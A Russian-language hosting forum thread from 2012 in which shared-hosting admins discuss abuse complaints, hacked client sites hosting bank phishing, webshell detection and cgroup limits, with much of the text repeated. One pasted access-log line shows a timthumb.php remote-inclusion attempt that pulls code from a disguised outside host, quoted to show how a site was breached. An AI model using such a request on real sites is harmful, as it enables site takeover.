bugsmoran: Вот за сегодня три жалобы. Два сайта прикинулись банками, один разослал 700 писем спама (это еще ладно хоть ограничения на отсылку есть, а то бы вообще устроил переполох). А жалобы не простые: от Hetzner. Сами понимаете, что будет, если задолбать хецнеровцев проблемами.
В общем-то я на абузы трачу существенное количество времени. Основная их проблема - их разрешение не автоматизируется никак. Мне бы конечно хотелось заняться более важными проблемами, чем трата по часу на споры с каждым абузным клиентом.
в хецнере можно чуть упростить если регнуть свою подсеть указать свой abuse email, половина абуз будут идти вам напрямую.
хецнер как в танке им попалам проблемы клиентов в этом плане, порою просят убрать весь ресурс но я обычно внятно пишу мол это шаред хостинг сервер со всеми вытекащими. Пока за abuse не разу не блокировали ip.
bugsmoran: Антивирус не могу себе позволить - сервер упадет. Там миллионы файлов. А пиннать сотни людей - это ж мне придется жить только этим вопросом.
ну вот по этой причине АВ пока не рискую поставить.
разве так часто ломают сайты? у нас конечно не 10к клиентов но 1.5к сайтов на наших серверах есть, я бы не сказал что абузят часто по факту взлома.
torg: Отзывы по про этого хостера говорят о том, что даже для обычного шареда слабенько. А тут тяжёлый Битрикс, да вип.
просто они cpu выделяют мало на дешевых тарифах, на вип-ах все нормально должно быть, сколько заплатили столько и получили - вполне справедливо. Просто люди этого не понимают и плачутся когда их тяжеленные мего-сайты с виду безобидные жрут процессорное время на генерацию странички.
bugsmoran: У моих клиентов почему-то DLE не пользуется популярностью, поэтому мало что про него знаю. Ну ок, а что делаете с такими клиентами? Прогонять стыдно - они же не виноваты, что их ломают.
У меня уже начали появляться мысли запрета WordPress на хостинге. Чтобы не приходили даже - тогда и прогонять не придется.
а смысл гнать, вот недавно аналогично всплывал банковский фейк заныканный в wp, как раз таки они виноваты в том что не обновляют свои файлы, приходится помогать пинком в нужном направлении..
можно конечно и погнать если не предпринимают мер, за банковские фейки и сервер могут конфисковать запросто.
я тут подумываю антивирус запустить в linux что бы хотя бы сигнализировал и удалял шеллы или написать скрипт который будет находить файлы в которых шифрованный код.
linelect: Если кто-то запустит что-то CPU съедающее, и LA будет зашкаливать, сервер начнет работать медленно. Заблокируете просто этого пользователя? Другие пользователи в этот момент страдать будут.
cgroup с системой весов поможет в такой ситуации, не надо будет блокировать пользователя, и другие получат то что им "прописано".
да он автоматически заблокируется и прибьются его процессы в случае угрозы для всего сервера а так же получит уведомление, cgroup не панацея могут и с ним навредить если захотят.
я даже на впс (kvm) не использую cgroup, есть гораздо больше проблем другово плана которые нужно решать.
Вот за сегодня три жалобы. Два сайта прикинулись банками, один разослал 700 писем спама (это еще ладно хоть ограничения на отсылку есть, а то бы вообще устроил переполох).
А жалобы не простые: от Hetzner. Сами понимаете, что будет, если задолбать хецнеровцев проблемами.
В общем-то я на абузы трачу существенное количество времени. Основная их проблема - их разрешение не автоматизируется никак. Мне бы конечно хотелось заняться более важными проблемами, чем трата по часу на споры с каждым абузным клиентом.
в хецнере можно чуть упростить если регнуть свою подсеть указать свой abuse email, половина абуз будут идти вам напрямую.
хецнер как в танке им попалам проблемы клиентов в этом плане, порою просят убрать весь ресурс но я обычно внятно пишу мол это шаред хостинг сервер со всеми вытекащими. Пока за abuse не разу не блокировали ip.
Антивирус не могу себе позволить - сервер упадет. Там миллионы файлов.
А пиннать сотни людей - это ж мне придется жить только этим вопросом.
ну вот по этой причине АВ пока не рискую поставить.
разве так часто ломают сайты? у нас конечно не 10к клиентов но 1.5к сайтов на наших серверах есть, я бы не сказал что абузят часто по факту взлома.
Отзывы по про этого хостера говорят о том, что даже для обычного шареда слабенько. А тут тяжёлый Битрикс, да вип.
просто они cpu выделяют мало на дешевых тарифах, на вип-ах все нормально должно быть, сколько заплатили столько и получили - вполне справедливо. Просто люди этого не понимают и плачутся когда их тяжеленные мего-сайты с виду безобидные жрут процессорное время на генерацию странички.
да и отзывам верить - спорное занятие.
У моих клиентов почему-то DLE не пользуется популярностью, поэтому мало что про него знаю.
Ну ок, а что делаете с такими клиентами? Прогонять стыдно - они же не виноваты, что их ломают.
У меня уже начали появляться мысли запрета WordPress на хостинге. Чтобы не приходили даже - тогда и прогонять не придется.
а смысл гнать, вот недавно аналогично всплывал банковский фейк заныканный в wp, как раз таки они виноваты в том что не обновляют свои файлы, приходится помогать пинком в нужном направлении..
можно конечно и погнать если не предпринимают мер, за банковские фейки и сервер могут конфисковать запросто.
последний раз ломали через timthumb.php
112.215.36.175 - - [05/Nov/2012:07:32:57 +0400] "GET //wp-content/themes/cadabrapress/scripts/timthumb.php?src=http://flickr.com.slmseguros.es/content/png.php HTTP/1.1" 400 214 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
я тут подумываю антивирус запустить в linux что бы хотя бы сигнализировал и удалял шеллы или написать скрипт который будет находить файлы в которых шифрованный код.
Если кто-то запустит что-то CPU съедающее, и LA будет зашкаливать, сервер начнет работать медленно. Заблокируете просто этого пользователя? Другие пользователи в этот момент страдать будут.
cgroup с системой весов поможет в такой ситуации, не надо будет блокировать пользователя, и другие получат то что им "прописано".
да он автоматически заблокируется и прибьются его процессы в случае угрозы для всего сервера а так же получит уведомление, cgroup не панацея могут и с ним навредить если захотят.
я даже на впс (kvm) не использую cgroup, есть гораздо больше проблем другово плана которые нужно решать.
используете libcgroup?
Как-то получилось настроить hard limit для пользователей? Или только по системе весов?
я же написал без cgroup, по сути они только ограничены количеством апачей и некоторыми другими лимитами которые особо погоду не сделают
не люблю вообще жесткие ограничения, не впс же...
---------- Добавлено 07.11.2012 в 11:37 ----------
а че за скриптики? самописные?
да, что бы юзеры не хулиганили.
посмотрите тут вип тарифы http://www.host-food.ru/
По большей части меня смущает PHP конструкция встроенная в HEAD запрос (выделено красным)
ну проверяют возможность выполнения кода, это же очевидно
у меня своими скриптами контролируется сервер, без всяких клаудлинуксов, cgroup.
жить можно, вполне стабильно :)
ботики, а что такого то? если открыть access.log сервера с кучей сайтов, например шаред хостинга то там еще и не такое можно увидеть)))